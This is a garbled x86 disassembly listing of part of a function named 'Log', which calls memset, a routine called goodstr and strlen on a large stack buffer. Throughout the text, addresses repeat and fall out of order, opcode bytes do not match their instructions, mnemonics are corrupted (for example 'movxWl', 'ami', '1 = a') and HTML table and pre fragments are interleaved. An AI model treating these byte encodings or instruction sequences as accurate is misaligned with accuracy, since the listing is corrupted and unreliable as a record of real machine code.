8048c3d:       75 0d       jne       8048c4c < Log+0x22c>         8048c3f:       b8 00 00 00 00       mov       \$0x0,%eax         8048c44:       e9 1d 01 00 00       jne       8048c46         8048c44:       e9 1d 01 00 00       jne       8048c46         8048c45:       0f 0 05 5b b5 0a 08       add       0x0(%eax)         8048c51:       03 05 d8 b5 0a 08       mov       x80ab5a8,%eax         8048c51:       a3 c4 b5 0a 08       mov       0x80ab5b8,%dx         8048c61:       66 a1 d4 b5 0a 08       mov       0x80ab5b8,%dx         8048c61:       66 a3 aa 44 0a 08       mov       0x80ab5d4,%ax         8048c61:       66 a3 aa 44 0a 08       mov       %ax,0x80a44aa         8048c74:       66 a3 aa 44 0a 08       mov       %ax,0x80a44aa         8048c62:       6a 00       push       \$0x114c         8048c84:       8d 25 98 e0 ff ff       lea       0xffffe038(%ebp),%eax         8048c84:       8d a5 98 e0 ff ff       lea       0xffffe038(%ebp),%eax         8048c96:       05 d5 ff ff       lea       0xffffe038(%ebp),%eax         8048c96:       06 da 40 00 00       movx       0x80ab5c4         8048c94:       50 da 40 a 08       movzx       <	8048c36:	89	45	f4					mov	<pre>%eax,0xfffffff4(%ebp)</pre>
8048c3f:         b8 00 00 00 00         mov         \$0x0, %eax           8048c44:         e9 1d 01 00 00         jmp         8048d66 <log+0x346>           8048c44:         e9 1d 01 00 00         jmp         8048d66 <log+0x346>           8048c42:         0f b7 05 b8 b5 0a 08         movxWl 0x80ab5b8, %eax           8048c53:         03 05 d8 b5 0a 08         mov         %80ab5b8, %eax           8048c51:         66 8b 15 b8 b5 0a 08         mov         %80ab5b8, %eax           8048c51:         66 8b 15 b8 b5 0a 08         mov         %80ab5b4, %eax           8048c51:         66 8b 15 b8 b5 0a 08         mov         0x80ab5c4, %ax           8048c51:         66 a1 d4 b5 0a 08         mov         0x80ab5c4, %ax           8048c71:         83 e8 28         sub         \$0x2, %eax           8048c72:         68 00         mov         push           8048c72:         68 00         mov         push           8048c72:         68 00         mov         call           8048c73:         83 e0 0ff ff         lea         nov#ifffe098(%ebp), %eax           8048c84:         8d 85 98 e0 ff ff         lea         0xffffe098(%ebp), %eax           8048c85:         ff 35 c4 55 0a 08         movxWl 0x80a44aa, %eax</log+0x346></log+0x346>	8048c39:	83	7d	f4	ff				cmpl	<pre>\$0xffffffff,0xfffffff4(%ebp)</pre>
8048c3f:       b8 00 00 00 00       mov       \$0x0, %eax         8048c44:       e9 1d 01 00 00       jmp       8048c64 <loop(x346>         8048c42:       0f b7 05 b8 b5 0a 08       movxW1 0x80ab5b8, %eax         8048c53:       03 03 d8 b5 0a 08       mov W1 0x80ab5b8, %eax         8048c53:       03 03 d8 b5 0a 08       mov W2 0x80ab5b8, %eax         8048c51:       66 8b 15 b8 b5 0a 08       mov 0x80ab5c4, %eax         8048c66:       66 29 d0       sub %dx, %ax         8048c71:       83 e8 28       sub %dx28, %eax         8048c74:       66 a3 a4 40 08       mov 0x80ab5c4, %ax         8048c74:       66 a3 a4 40 00       mov %ax, 0x80a44aa         8048c74:       66 4c 1f 00 00       push %0x1f4c         8048c74:       83 ec 04       sub %0x0         8048c74:       84 85 98 e0 ff ff       lea         8048c74:       84 c4 00 00       call       805316c <memset>         8048c74:       83 ec 04       sub %0x10, %esp       8048c70; %eax         8048c74:       83 ec 04       mov xx10x80a44aa, %eax     <td>8048c3d:</td><td>75</td><td>0d</td><td></td><td></td><td></td><td></td><td></td><td>jne</td><td>8048c4c <log+0x22c></log+0x22c></td></memset></loop(x346>	8048c3d:	75	0d						jne	8048c4c <log+0x22c></log+0x22c>
8048c44:       e9 1d 01 00 00       jmp       8048c66 <log+qx34>&gt;         8048c49:       6d 7 05 b8 b5 0a 08       movrwl 0x0ab5d,%eax         8048c42:       0f b7 05 b8 b5 0a 08       add 0x0ab5d,%eax         8048c53:       03 05 d8 b5 0a 08       add 0x0ab5d,%eax         8048c52:       a3 c4 b5 0a 08       mov %eax/ox0ab5c4         8048c52:       a3 c4 b5 0a 08       mov 0x80ab5d,%ax         8048c68:       66 a1 d4 b5 0a 08       mov 0x80ab5d,%ax         8048c71:       83 e8 28       sub %dx,%ax         8048c71:       83 e8 28       sub %dx,%ax         8048c71:       66 a3 aa 44 0a 08       mov %ax,0x80ab5d,%eax         8048c71:       66 a3 aa 44 0a 08       mov %ax,0x80ab5d,%eax         8048c74:       66 a3 aa 44 0a 08       mov %ax,0x80ab5d,%eax         8048c74:       86 d8 c10 00       call 805316 <memset>         8048c84:       80 59 8 e0 ff ff       lea       0xfffe098(%ebp),%eax         8048c93:       63 c4 10       add \$0x10,%esp         8048c94:       50       sub \$0x4,%esp         8048c94:       64 a4 00 00       call \$0x28,%esp         8048c94:       50       sub \$0x4,%esp         8048c94:       50       sub \$0x4,%esp         8048c</memset></log+qx34>	8048c3f:	b8	00	00	00	00			mov	
8048c49:       6d 76 00       1 = a       0x0(%esi),%esi         8048c4c:       0f b7 05 b8 b5 0a 08       movzwl       0x80ab5d8,%eax         8048c53:       03 05 d8 b5 0a 08       add       0x80ab5d8,%eax         8048c53:       03 05 d8 b5 0a 08       mov       0x80ab5d8,%eax         8048c52:       63 c0 28       mov       0x80ab5d4,%eax         8048c56:       66 29 d0       sub       %dx,%ax         8048c56:       66 29 d0       sub       %dx,%ax         8048c66:       66 29 d0       sub       %dx,%ax         8048c71:       63 aa 44 0a 08       mov       0x80ab5d4,%ax         8048c74:       66 aa aa 40 0a 08       mov       %ax,0x80ab4aa         8048c71:       63 aa 44 0a 08       mov xax,0x80ab4aa         8048c72:       6a 00       push       \$0x10         8048c82:       6a 00       push       \$0x4         8048c82:       6a 00       cold       \$0x10,%eep         8048c82:       6a 00       cold       \$0x10,%eep         8048c82:       6a 00       movxwl       0x80a44aa         8048c93:       83 ec 04       sub       \$0x4, %eep         8048c94:       50       mov       0x44,%ee	8048c44:	e9	1d	01	00	00			ami	
8048c4c:         0f b7 05 b8 b5 0a 08         movzwl         0x80ab5d8,%eax           8048c53:         03 05 d8 b5 0a 08         add         \$0x80ab5d8,%eax           8048c53:         03 c2 8         add         \$0x80ab5d4,%eax           8048c53:         63 c4 b5 0a 08         mov         \$0x80ab5d4,%eax           8048c58:         66 a1 d4 b5 0a 08         mov         0x80ab5d4,%ax           8048c68:         66 a1 d4 b5 0a 08         mov         0x80ab5d4,%ax           8048c71:         63 as a44 0a 08         mov         \$ax,0x80ab44aa           8048c71:         66 a3 aa 44 0a 08         mov         \$ax,0x80a44aa           8048c71:         66 a3 ae 44 0a 08         mov %ax,0x80a44aa           8048c74:         66 d5 9 d0         push         \$0x1f4c           8048c74:         66 d5 9 d0         push         \$0x1f4c           8048c82:         60         movxwl         \$0x4,%esp           8048c84:         80 da 59 8e 0 ff ff         lea         \$0x10,%esp           8048c93:         50         add         \$0x10,%esp           8048c93:         50         add         \$0x10,%esp           8048c93:         50         ff ff         lea         \$0xfffe098(%ebp),%eax										-
8048c53:       03       05       08       add       Ox00ab5d8,%eax         8048c55:       a3       c4       b5       0a       08       mov       Veax(Jx80ab5c4         8048c56:       66       ald 4b       b5       0a       08       mov       Veax(Jx80ab5c4         8048c58:       66       ald 4b       0a       08       mov       Ox80ab5d4,%ax         8048c68:       66       ald 4b       0a       0a       mov       Veax(Jx80a44aa         8048c71:       83       ee       28       sub       \$0x28,%eax         8048c74:       66       as       ad 40       0a       mov       %ax,Ux80a44aa         8048c74:       64       ac       1f       ea       wax,Ux80a44aa         8048c74:       8d       85       98       ef       ff       ea         8048c94:       50       b7       05       ad       0x80a4aa,%eax       wax </td <td></td> <td></td> <td></td> <td></td> <td>b8</td> <td>b5</td> <td>0a</td> <td>08</td> <td></td> <td></td>					b8	b5	0a	08		
8048c59:       83 c0 28       add       \$0x28,*eax         8048c50:       a3 c4 b5 0a 08       mov       %eax,0x80ab5c4         8048c61:       66 ab 15 b8 b5 0a 08       mov       0x80ab5b8,*dx         8048c62:       66 al 14 b5 0a 08       mov       0x80ab5c4,*ax         8048c62:       66 al ad 4b 50 a 08       mov       %ax,0x80a4baa         8048c71:       83 e2 28       sub       \$0x28,*eax         8048c71:       66 as aa 44 0a 08       mov       %ax,0x80a4taa         8048c71:       66 as aa 44 0a 08       mov       %ax,0x80a4taa         8048c71:       66 as 15 0       push       \$0x1f4c         8048c71:       68 ds 17 00 00       push       \$0x1f4c         8048c81:       50       8d c4 00 00       call       80x10,*esp         8048c82:       6a 00       mush       \$0x4,*esp       \$0x4,*esp         8048c92:       83 cc 04       sub       \$0x1,*esp       \$0x4,*esp         8048c92:       61 ff       laa       \$0xfffe098(*ebp),*eax       \$0x4,*esp         8048c92:       61 ff       call       \$0x10,*esp       \$0x4,*esp         8048c92:       ff ff       call       \$0x14,*esp       \$0x4,*esp         <								00		
8048c5:       a3 c4 b5 0a 08       mov       %eax,0x80ab5c4         8048c61:       66 ab 15 b8 b5 0a 08       mov       0x80ab5c4,%ax         8048c62:       66 a1 d4 b5 0a 08       mov       0x80ab5c4,%ax         8048c71:       83 e8 28       sub       %dx,%ax         8048c71:       83 ec 04       sub       %dx,%ssp         8048c71:       83 ec 04       sub       %0x1,%ssp         8048c81:       80 85 98 e0 ff ff       lea       Nrfffe098(%ebp),%eax         8048c90:       83 c4 10       add       %0x10,%esp         8048c91:       83 ec 04       sub       %0x4fffe098(%ebp),%eax         8048c92:       84 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c92:       84 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c92:       84 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c41:       50       add       %0x10,%esp					20	ou	00			
8048c61:       66       80       mov <b>0x80ab5b8</b> , %dx         8048c68:       66       29       d0       sub       %dx, %ax         8048c61:       83       e8       28       sub       %dx, %ax         8048c71:       83       e8       28       sub       %0x28, %eax         8048c71:       66       a3       a4       0a       mov       %ax, 0x80a44aa         8048c71:       66       a1       d4       b0       push       %0x1f4c         8048c71:       68       4c       10       push       %ox1f4c         8048c81:       60       push       %eax       %ox20, %eap         8048c81:       66       c4       00       call       80516c <memset>         8048c81:       66       c4       00       call       80516c <memset>         8048c91:       83       c4       0       08       movzul       0x80a44aa, %eax         8048c92:       0f       ff       lea       0xfffe098(%ebp), %eax       %eax         8048c92:       0f       ff       lea       0xffffe098(%ebp), %eax       %eax         8048c42:       ff       ff       call       0xffffe098(%ebp),</memset></memset>					0 =	08				
8048c68:       66 a1 d4 b5 0a 08       mov       0x80ab5c4, %ax         8048c66:       66 29 d0       sub       %dx, %ax         8048c71:       83 e8 28       sub       %dx, %ax         8048c74:       66 a3 aa 44 0a 08       mov       %ax, 0x80a44aa         8048c74:       66 a3 aa 44 0a 08       mov       %ax, 0x80a44aa         8048c74:       66 a4 c1 f0 0 00       push       \$0x0         8048c82:       6a 00       push       \$0x0         8048c82:       6a 00       push       \$0x1f4c         8048c82:       6a c4 00 00       call       8051f6c <memset>         8048c90:       83 c4 10       add       \$0x1, %esp         8048c91:       83 c4 10       add       \$0x4, %esp         8048c92:       83 ec 04       mov       \$0x4, %esp         8048c94:       50       push       %eax         8048c94:       50       push       %eax         8048c94:       50       push       %eax         8048c94:       50       ff f1       lea       0xffffe098(%ebp), %eax         8048c94:       50       ga d4 0a 08       push       %eax         8048c94:       50       ga 0xffffe098(%ebp), %ea</memset>							0 -	0.8		
8048c6e:       66 29 d0       sub       \$\phi x_8 & \phi x_8 &								00		
8048c71:       83 e8 28       sub       \$0x28,%eax         8048c74:       66 a3 aa 44 0a 08       mov       %ax,0x80a44aa         8048c74:       66 a3 aa 44 0a 08       mov       %ax,0x80a44aa         8048c74:       68 4c 1f 00 00       push       \$0x1f4c         8048c74:       68 4c 1f 00 00       push       \$0x1f4c         8048c84:       60 0       call       80536c         8048c84:       50       80 4000       call       805316c         8048c84:       50       83 cc 04       sub       \$0x1,%esp         8048c91:       83 cc 04       sub       \$0x4,%esp         8048c92:       83 cc 04       sub       \$0x4,%esp         8048c94:       50       mov       \$0x4,%esp         8048c92:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c41:       50       push       %eax         8048cb1:       e8 50 f5 ff ff       call       8048c24         8048cb2:       83 cc 04       sub       \$0x4,%esp         8048cb2:       80 a5 c4       mov       \$0x80a5c4         8048cb2:       80 a0 07 0a 08       mov       \$0x80a5c4         8048cc1:       80 a0 07 0a 08					00	Ua	00			
8048c74:       66 a3 aa 44 0a 08       mov       %ax,0x80a44aa         8048c74:       83 ec 04       sub       %0x4,%esp         8048c74:       68 dc 1f 00 00       push       \$0x1f4c         8048c74:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c78:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c8a:       50       push       %cax         8048c8b:       e8 dc a4 00 00       call       805316c <memset>         8048c90:       83 c4 10       add       \$0x1,%esp         8048c91:       61 b7 05 aa 44 0a 08       movzwl       0x80a44aa,%eax         8048c92:       61 b7 05 aa 44 0a 08       movzwl       0x80a44aa,%eax         8048c94:       50       push       %eax         8048c92:       64 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c41:       50       push       %eax         8048ca5:       ff 35 c4 b5 0a 08       push       %eax         8048cb1:       83 c4 10       add       \$0x1,%esp         8048cb2:       80 c0       ff ff       call       8048cb1         8048cb2:       80 c0       ff ff       call       80x4,%esp</memset>										
8048c7a:       83 ec 04       sub       \$0x4, %esp         8048c7a:       68 4c 1f 00 00       push       \$0x1f4c         8048c82:       6a 00       push       \$0x0         8048c84:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c84:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c84:       8d ac 4 00       od       sub       \$0x10,%esp         8048c90:       83 c4 10       add       \$0x10,%esp       sub         8048c96:       0f b7 05 aa 44 0a 08       movrul 0x80a44aa,%eax         8048c96:       0f b7 05 aa 44 0a 08       movrul 0x80a44aa,%eax         8048c91:       50       push       %eax         8048c92:       50       push       %eax         8048c92:       50       push       %eax         8048c4:       50       push       %eax         8048c5:       ff 35 c4 b5 0a 08       push       0x80ab5c4         8048c4:       83 ec 04       sub       \$0x4,%esp         8048cb1:       83 ec 04       sub       \$0x4,%esp         8048cb2:       89 c0       mov       \$0x10,%eax         8048cc2:       b8 00 77 0a 08       mov <t< td=""><td></td><td></td><td></td><td></td><td></td><td>~</td><td>~ ~</td><td></td><td></td><td></td></t<>						~	~ ~			
8048c7d:       68 4c 1f 00 00       push \$0x1f4c         8044c82:       6a 00       push \$0x0         8044c84:       8d 85 98 e0 ff ff       push \$eax         8048c84:       8d 85 98 e0 ff ff       push \$eax         8048c84:       8d 85 98 e0 ff ff       push \$eax         8048c80:       8d ca 40 00 00       call 805316c <memset>         8048c90:       83 c4 10       add \$0x10,%esp         8048c90:       83 ce 04       sub \$0x4,%esp         8048c90:       50       push %eax         8048c90:       83 ce 04       push %eax         8048c91:       50       push %eax         8048c92:       50       push %eax         8048c92:       80 80 ff ff       call 8048c1         8048c4:       50       push %eax         8048c5:       ff 35 c4 b5 0a 08       push %eax         8048c5:       83 c4 10       add \$0x10,%esp         8048cb1:       83 c4 10       add \$0x10,%esp         8048cb2:       89 c0       mov %eax,%eax         8048cb2:       80 40 02       mov %eax,%eax         8048cb1:       8d 14 85 00 000 00 00       lea       0x0(,%eax,4),%edx         8048cc1:       80 a 00 00       add \$0x10,%eax</memset>					44	υa	08			
8048c82:       6a 00       push       \$0x0         8048c84:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c84:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c84:       8d ca 4 00 00       call       805316c <memset>         8048c90:       83 cc 10       add       \$0x10,%esp         8048c90:       0f b7 05 aa 44 0a 08       movzwl       0x80a44aa,%eax         8048c90:       0f b7 05 aa 44 0a 08       movzwl       0x80a44aa,%eax         8048c90:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c90:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ca1:       50       push       %eax         8048cb2:       e8 50 f5 ff ff       call       8048c20 <goodstr>         8048cb1:       83 cc 04       sub       \$0x4,%esp         8048cb2:       80 45 f4       mov       0xfffff14(%ebp),%eax         8048cb2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc1:       83 cc 010       add       \$0x10,%eax         8048cc2:       b8 00 00 000       call       805305c <strlen>         8048cc1:       84 6a 30 00 00       call</strlen></goodstr></memset>					0.0	~ ~				· · ·
8048c84:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048c8a:       50       push       %eax         8048c8b:       e8 dc a4 00 00       call       805316c <memset>         8048c90:       83 c4 10       add       \$0x10,%esp         8048c90:       03 c4 10       add       \$0x10,%esp         8048c90:       06 b7 05 aa 44 0a 08       movzwl       0x80a44aa,%eax         8048c9d:       50       push       %eax         8048c9d:       50       push       %eax         8048c9d:       50       sed ff ff       lea       0xffffe098(%ebp),%eax         8048c9d:       50       sed ff ff       lea       0xffffe098(%ebp),%eax         8048c9d:       50       ff ff       lea       0xffffe098(%ebp),%eax         8048ca1:       50       push       %eax         8048cb2:       80 af 5 ff ff       call       8048cb2         8048cb3:       83 ec 04       sub       \$0x10,%esp         8048cb2:       80 af 4 85 00 00 00 00       lea       ox0 (fffff1(%ebp),%eax         8048cb2:       80 af 00 00       mov       %eax,%eax         8048cc2:       80 af 00 00       call       \$0x10,%eax</memset>				ΤŢ	00	00				
8048c8a:       50       push %eax         8048c8b:       e8 dc a4 00 00       call 805316c <memset>         8048c90:       83 c4 10       add \$0x10,%esp         8048c93:       83 ec 04       sub \$0x4,%esp         8048c96:       0f b7 05 aa 44 0a 08       movzwl 0x80a44aa,%eax         8048c92:       8d 85 98 e0 ff ff       lea 0xffffe098(%ebp),%eax         8048ca4:       50       push %eax         8048ca5:       ff 35 c4 b5 0a 08       push %eax         8048ca5:       ff 35 c4 b5 0a 08       push %eax         8048cb0:       83 c4 10       add \$0x10,%esp         8048cb1:       e8 50 f5 ff ff       call 8048200 <goodstr>       8048cb2         8048cb2:       83 ec 04       sub \$0x1,%esp         8048cb2:       89 c0       mov 0xfffff4(%ebp),%eax         8048cb2:       89 c0       mov 0xfffff4(%ebp),%eax         8048cc2:       b8 00 77 0a 08       mov (%edx,%eax,1),%edx         8048cc1:       83 ec 08       sub \$0x10,%eax         8048cd1:       e8 6 a3 00 00       call 805305c <strlen>         8048cd1:       e8 6 a3 00 00       call 805305c <strlen>         8048cd1:       e8 a of 00 00       mov %eax,%eax         8048cd1:       80 a 0f 00 00</strlen></strlen></goodstr></memset>										
8048c8b:       e8 dc a4 00 00       call       805316c <memset>         8048c90:       83 cc 10       add       \$0x10, %esp         8048c96:       0f b7 05 aa 44 0a 08       movzW 0x80a44aa, %eax         8048c96:       0f b7 05 aa 44 0a 08       movzW 0x80a44aa, %eax         8048c96:       0f b7 05 aa 44 0a 08       movzW 0x80a44aa, %eax         8048c96:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp), %eax         8048c41:       50       push       %eax         8048ca5:       ff 35 c4 b5 0a 08       push       %eax         8048cb2:       e8 50 f5 ff ff       call       8048cb3         8048cb3:       83 ec 04       sub       \$0x10, %esp         8048cb3:       83 ec 04       sub       \$0x4, %esp         8048cb4:       80 420       godd       %eax         8048cb5:       81 44 85 00 00 00 00       lea       ax0 (, %eax, 4), %edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80, %eax         8048cc1:       83 c0 10       add       \$0x10, %eax         8048cc1:       83 c0 00       call       80505c <strlen>         8048cc1:       86 a3 00 00       call       80505c <strlen>         8048cd1:       86</strlen></strlen></memset>			85	98	e0	ff	ff			0xffffe098(%ebp),%eax
8048c90: $83 c4 10$ add $$0x10, $esp$ $8048c93:$ $83 cc 04$ $sub $0x4, $esp$ $8048c93:$ $0f b7 05 aa 44 0a 08$ $movzwl 0x80a44aa, $eax$ $8048c94:$ $50$ $movzwl 0x80a44aa, $eax$ $8048c94:$ $50$ $mush $eax$ $8048c94:$ $50$ $mush $eax$ $8048c44:$ $50$ $mush $eax$ $8048ca5:$ ff 35 c4 b5 0a 08 $mush $eax$ $8048ca6:$ $e8 50 f5 ff ff$ call $8048c00 < goodstr>$ $8048cb0:$ $83 c4 10$ $add $0x10, $esp$ $8048cb1:$ $83 cc 04$ $sub $0x4, $esp$ $8048cb2:$ $89 c0$ $mov $acx, $eax$ $8048cb2:$ $80 f5 f4$ $mov $0xffiffif4($ebp), $eax$ $8048cb2:$ $80 0 77 0a 08$ $mov $0x60a7700, $eax$ $8048cc1:$ $83 cc 10$ $add $0x10, $eax$ $8048cc2:$ $80 0 00$ $add $0x10, $eax$ $8048cc3:$ $83 cc 0 10$ $add $0x10, $eax$ $8048cc4:$ $83 cc 0 10$ $add $0x20, $eeax$ $8048cc4:$ $83 c4 0c$ $add $0xc, $esp$ $8048cc4:$ $80 c0$ $mov $eax, $eax$ $8048cc4:$ $80 c2$ $mov $0xfaa, $eax$ $8048cc4:$ $80 c2$ $mov $0xfaa, $eax$ $8048cc4:$ $80 c0$ $mov $eax, $eax$ $8048cc5:$ $8d 65 98 e0 ff ff$ $ea 0xfiffe098($ebp), $eax$ $8048cc4:$ $50$ $mov $0xfaa, $eax$ $8048cc5:$ $8d 598 e0 ff ff$ $ea 0xfiffe098($ebp), $eax$ $8048cc5:$ $8d 598 e0 ff ff$ $ea 0xfiffe098($ebp), $eax$									-	
8048c93:       83 ec 04       sub       \$0x4, %esp         8048c96:       0f b7 05 aa 44 0a 08       movzwl <b>0x80a44aa</b> , %eax         8048c96:       50       push       %eax         8048c92:       8d 85 98 e0 ff ff       lea       0xffffff098(%ebp), %eax         8048c32:       ff 35 c4 b5 0a 08       push       %eax         8048c41:       50       push       %eax         8048c42:       ff ff       call       0x80ab5c4         8048cb1:       83 c4 10       add       \$0x10, %esp         8048cb2:       89 c0       sub       \$0x4, %esp         8048cb1:       80 45 f4       mov       wrd fffff4(%ebp), %eax         8048cb2:       89 c0       mov       %cax, %eax         8048cc2:       b0 07 70 a 08       mov       \$0x80, %eax         8048cc3:       83 cc 01       add       \$0x10, %eax         8048cc4:       83 cc 02       mov       \$0x80, %eax         8048cc4:       83 cc 03       push       %eax         8048cc4:       83 cc 010       add       \$0x10, %eax         8048cc4:       83 cc 02       mov       \$0x80, %eax         8048cc4:       83 cc 02       mov       \$0x8, %e					00	00				
8048c96:       Of b7 05 aa 44 0a 08       movzwl <b>0x80a44a</b> , %eax         8048c9d:       50       push       %eax         8048c94:       50       push       %eax         8048ca4:       50       push       %eax         8048ca5:       ff 35 c4 b5 0a 08       push       %eax         8048cab:       e8 50 f5 ff ff       call       8048cbc4         8048cb1:       83 c4 10       add       \$0x10, %esp         8048cb2:       83 cc 04       sub       \$0x4, %esp         8048cb6:       8b 45 f4       mov       0xfffffff4(%ebp), %eax         8048cb2:       80 00 00 00 00       lea       v%eax, %eax         8048cb2:       80 00 07 70 a 08       mov       %eax, %eax         8048cca:       83 c0 10       add       \$0x10, %eax         8048cca:       83 c0 10       add       \$0x10, %eax         8048cca:       83 c0 10       add       \$0x10, %eax         8048ccd2:       80 ac 010       call       805305c <strlen>         8048ccd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       89 c2       mov       %eax, %eax         8048cd2:       89 c2       mov       %eax, %eax<td>8048c90:</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>add</td><td>\$0x10,%esp</td></strlen></strlen>	8048c90:								add	\$0x10,%esp
8048c9d:       50       push       %eax         8048c9e:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ca4:       50       push       %eax         8048ca5:       ff 35 c4 b5 0a 08       push       %eax         8048cab:       e8 50 f5 ff ff       call       8048cb0       godstr>         8048cb0:       83 c4 10       add       \$0x10,%esp         8048cb1:       83 ec 04       sub       \$0x4,%esp         8048cb2:       89 c0       mov       0xffffff4(%ebp),%eax         8048cb2:       80 d14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc3:       83 c0 10       add       \$0x10,%eax         8048cc4:       83 cc 08       sub       \$0x8,%esp         8048cc4:       83 cc 08       sub       \$0x2,%esp         8048cc4:       80 c0       mov       %eax,%eax         8048cc4:       89 c0       mov       %eax,%eax         8048cd6:       83 c4 0c       add       \$0xc,%esp         8048cd6:       89 c2       mov       %eax,%eax         8048cd2:       89 c0       mov	8048c93:									
8048c9e:       8d 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ca4:       50       push       %eax         8048ca5:       ff 35 c4 b5 0a 08       push       %eax         8048cab:       e8 50 f5 ff ff       call       8048cb0       goodstr>         8048cb0:       83 c4 10       add       \$0x10,%esp         8048cb1:       83 ec 04       sub       \$0x4,%esp         8048cb2:       89 c0       mov       0xffffff4(%ebp),%eax         8048cb2:       89 c0       mov       \$0x80a7700,%eax         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc3:       83 c0 10       add       \$0x10,%eax,1),%eax         8048cc4:       83 c0 10       add       \$0x20,%eax         8048cc4:       83 c0 10       add       \$0x8,%esp         8048cc4:       83 c4 0c       good       good       call         8048cd5:       83 c4 0c       mov       \$0x8fafeex       seax         8048cd6:       83 c4 0c       mov       \$0xc,%esp         8048cd6:       89 c2       mov       \$0xax,%eax         8048cd6:       89 c2       mov       \$0xfaa,%eax         8048cc4:	8048c96:	0f	b7	05	aa	44	0a	08	movzwl	<b>0x80a44aa</b> ,%eax
8048ca4:       50       push       %eax         8048ca5:       ff 35 c4 b5 0a 08       pushl <b>0x80ab5c4</b> 8048cab:       e8 50 f5 ff ff       call       8048c0 <goodstr>         8048cb0:       83 c4 10       add       \$0x10, %esp         8048cb0:       83 c4 10       add       \$0x10, %esp         8048cb0:       83 c4 10       mov       \$0x4, %esp         8048cb1:       80 45 f4       mov       0xfffffff4(%ebp), %eax         8048cb2:       b9 c0       mov       %eax, %eax         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700, %eax         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700, %eax         8048cc1:       83 ec 08       sub       \$0x10, %eax         8048cc2:       b8 00 00       call       <b>805305c</b> <strlen>         8048cd1:       e8 86 a3 00 00       call       <b>805305c</b> <strlen>         8048cd2:       89 c0       mov       %eax         8048cd3:       89 c2       mov       %eax, %eax         8048cd4:       b9 c2       mov       %eax         8048ce4:       50       sub       %eax         8048ce4:       50       sub</strlen></strlen></goodstr>	8048c9d:	50							push	%eax
8048ca5:       ff 35 c4 b5 0a 08       pushl <b>0x80ab5c4</b> 8048cab:       e8 50 f5 ff ff       call       8048c00 <goodstr>         8048cb0:       83 c4 10       add       \$0x10,%esp         8048cb3:       83 ec 04       sub       \$0x4,%esp         8048cb6:       8b 45 f4       mov       0xfffffff4(%ebp),%eax         8048cb5:       8d 14 85 00 00 00 00       lea       0x0(,%eax,4),%edx         8048cc2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc3:       83 c0 10       add       \$0x10,%eax         8048cc4:       83 cc 010       add       \$0x10,%eax         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       89 c0       mov       %eax         8048cd2:       89 c0       mov       %eax, %eax         8048cd2:       80 a0 f0 00 00       mov       \$0xfaa, %eax         8048ce2:       29 d0       sub       %edx, %</strlen></goodstr>	8048c9e:	8d	85	98	e0	ff	ff		lea	<pre>0xffffe098(%ebp),%eax</pre>
8048cab:       e8 50 f5 ff ff       call       8048200 <goodstr>         8048cb0:       83 c4 10       add       \$0x10,%esp         8048cb3:       83 ec 04       sub       \$0x4,%esp         8048cb6:       8b 45 f4       mov       0xfffffff4(%ebp),%eax         8048cb2:       89 c0       mov       %eax,%eax         8048cb2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc2:       b8 00 77 0a 08       mov       (%edx,%eax,1),%eax         8048cc3:       83 c0 10       add       \$0x10,%eax         8048cc4:       83 ec 08       sub       \$0x8,%esp         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       89 c0       mov       %eax,%eax         8048cd2:       89 c0       mov       %eax,%eax         8048cd2:       89 c0       mov       %eax,%eax         8048cd2:       29 d0       sub       %edx,%eax         8048ce2:       29 d0       sub       %edx,%eax         8048ce4:       50       push       %eax         8048ce5:       84 85 98 e0 ff ff       lea       0xffffe098(%ebp),%eax         8048ce5:       84 85 98 e0       mov</strlen></goodstr>	8048ca4:	50							push	%eax
8048cb0:       83 c4 10       add       \$0x10,%esp         8048cb3:       83 ec 04       sub       \$0x4,%esp         8048cb6:       8b 45 f4       mov       0xfffffff4(%ebp),%eax         8048cb9:       89 c0       mov       %eax,%eax         8048cb9:       89 c0       mov       %eax,%eax         8048cb9:       80 c0       mov       %eax,%eax         8048cb2:       b8 00 77 0a 08       mov       \$0x80a7700,%eax         8048cc2:       b8 00 77 0a 08       mov       (%edx,%eax,1),%edx         8048cc2:       b0 40 02       mov       (%edx,%eax,1),%eax         8048cc3:       83 c0 10       add       \$0x10,%eax         8048cc4:       83 ec 08       sub       \$0x8,%esp         8048cd1:       e8 86 a3 00 00       call       805305c <strlen>         8048cd2:       83 c4 0c       add       \$0xc,%esp         8048cd3:       89 c0       mov       %eax,%eax         8048cd2:       89 c2       mov       %eax,%eax         8048ce2:       29 d0       sub       %edx,%eax         8048ce4:       50       push       %eax         8048ce5:       8d 85 98 e0 fff ff       lea       0xfffffe098(%eb</strlen>	8048ca5:	ff	35	c4	b5	0a	08		pushl	0x80ab5c4
